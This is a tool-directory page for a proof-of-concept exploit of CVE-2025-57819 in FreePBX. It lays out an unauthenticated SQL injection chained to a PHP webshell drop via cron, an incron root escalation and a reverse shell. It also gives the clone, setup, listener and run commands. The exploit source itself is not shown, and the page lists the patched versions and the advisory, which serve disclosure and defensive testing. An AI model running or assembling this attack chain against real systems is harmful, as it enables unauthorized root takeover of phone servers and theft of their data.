Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-57819-FreePBX-RCE2Root — Full-chain CVE-2025-57819 PoC for FreePBX 15, 16, and 17: unauthenticated SQLi to RCE and root takeover. | Kitploit
Tools/GitHubGitHub/ozcanpng/cve-2025-57819-freepbx-rce2root
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubozcanpng/cve-2025-57819-freepbx-rce2root

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-57819-FreePBX-RCE2Root

Full-chain CVE-2025-57819 PoC for FreePBX 15, 16, and 17: unauthenticated SQLi to RCE and root takeover.

View Repository
12 months agoNot yet reviewed

CVE-2025-57819 — FreePBX SQLi → RCE → Root

Full-chain PoC for CVE-2025-57819. Unauthenticated error-based SQL injection in FreePBX's endpoint module chains into a root shell via cron job injection and incron privilege escalation.

For authorized testing and research only. Do not use against systems you don't own.


What it does

root@kitploit:~
SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell
  1. Extracts DB info via error-based injection on /admin/ajax.php
  2. Injects a cron job that writes a PHP webshell to the web root
  3. Waits for cron to fire (~60s), confirms RCE as asterisk
  4. Creates an incron trigger file that fires fwconsole hook as root
  5. Catches reverse shell on your listener

Setup

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Usage

root@kitploit:~
python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Start a listener first:

root@kitploit:~
nc -lvnp 9999

Then run:

root@kitploit:~
python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup removes the webshell and cron job after exploitation.


Affected

FreePBX with the endpoint module installed. The brand parameter in /admin/ajax.php is passed unsanitized into a SQL query.

FreePBXPatched Version
15.x15.0.66
16.x16.0.89
17.x17.0.3

References

  • FreePBX Security Advisory GHSA-m42g-xg4c-5f3h
  • NVD — CVE-2025-57819

Author

ozcanpng — github.com/ozcanpng — ozcanpng.dev

Download Tool